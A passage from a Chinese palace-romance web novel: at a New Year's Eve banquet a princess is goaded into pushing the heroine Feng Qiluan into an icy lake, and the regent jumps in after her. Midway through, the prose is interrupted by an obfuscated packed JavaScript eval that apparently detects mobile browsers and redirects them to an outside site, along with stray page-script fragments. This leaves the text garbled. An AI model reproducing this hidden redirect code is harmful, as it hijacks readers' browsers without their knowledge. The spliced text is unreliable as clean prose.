时间一晃,便到了除夕。 这是凤栖鸾五年来,第一次在金国过年。 除夕宫宴设在太和殿,百官携家眷入席,丝竹悦耳,歌舞升平,一派国泰民安的繁荣景象。 凤栖鸾被春桃精心打扮了一番,穿上了尚衣局新送来的、一身绣着丹凤朝阳的赤色宫装。 澹台湛坐在她的斜对面,摄政王的位置,一人之下,万人之上。 他看她像个木偶一样,对谁都笑,又看着她对满桌的珍馐佳肴视而不见,只偶尔端起酒杯,抿上一小口。 他心里更是烦躁。 宴至中途,沈月凝端起酒杯,不动声色地走到了太尉之女,安阳郡主的身边。 安阳郡主向来骄纵跋扈,又因其父在朝中地位显赫,素来眼高于顶。 她本就对凤栖鸾这个**皇后还能坐在那样尊贵的位置上心怀不满,此刻见摄政王妃亲自来敬酒,更是受宠若惊。 “王妃娘娘……” “郡主不必多礼。” 沈月凝柔柔一笑,在她耳边用只有两人能听见的声音低语道。 “妹妹你看,那楼兰皇后好大的架子,连陛下和王爷的面子都不给,全程冷着一张脸,也不知是给谁看呢。真是可惜了王爷一片苦心,为了她的安全,日夜操劳,她却半点不领情。” 安阳郡主本就是个没脑子的,被她三言两语一挑唆,心中的火气噌地一下就上来了。 “她算个什么东西!一个**之后,还敢在咱们金国的地盘上摆脸色!” “姐姐你放心,我一定不会给她什么好颜色看的!” 宫宴进行到一半,便移到了御花园,举行一年一度的除夕灯会。 凤栖鸾觉得胸口发闷,便独自一人走到稍显僻静的九曲桥上,想透透气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377523|183651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她刚站定,一个盛气凌人的声音便在身后响了起来。 “站住!” 凤栖鸾回过头,看到了气势汹汹的安阳郡主。 “你就是那个楼兰皇后?” 安阳郡主上下打量着她,“一个打了败仗的和亲公主,凭什么还敢在宫宴上摆脸色?你以为你还是金枝玉叶的公主吗?” 凤栖鸾淡淡地看了她一眼,并不想与她争辩。 “郡主有何指教?” “指教?”安阳郡主像是听到了什么笑话。 “我告诉你,别以为有王爷护着你,你就能为所欲为!王爷护着你,不过是看在陛下的面子上,全了兄妹之情罢了!你别给脸不要脸!” 凤栖鸾听着这些刻薄的言语,心中没有半分波澜。 “郡主说完了吗?” 她平静地开口,“说完了,还请让路。” “你……你敢这么跟我说话!” 安阳郡主气得满脸通红,她本就想在众人面前搓一搓凤栖鸾的锐气,好在沈月凝面前卖个好,却没想到对方根本不接招! 就在凤栖鸾转身欲走的那一刻。 没曾想,安阳郡主猛地伸出手,用尽全身的力气,狠狠地推向她的后背! “你**吧!” 凤栖鸾毫无防备,被这股巨大的力道一推,惊呼一声。 整个人便控制不住地越过汉白玉的栏杆,直直地坠入了桥下那片冰冷刺骨的湖水之中! “噗通——!” 巨大的水花声,打破了寂静! “不好了!有人落水了!” “快来人啊!” 人群瞬间大乱! 而就在不远处,一直用眼角余光紧盯着凤栖鸾的澹台湛,在看到她被推下去的那一瞬间。 甚至来不及思考,也来不及发号施令! “栖鸾——!” 在所有人还没反应过来的时候,这位权倾朝野、矜贵无比的摄政王毫不犹豫地纵身跃入了那片冰寒刺骨的黑暗湖水之中! 除夕的湖水,冷得像刀子。 凤栖鸾刚一落水,那刺骨的寒意便瞬间包裹了她,让她连呼吸都变得困难。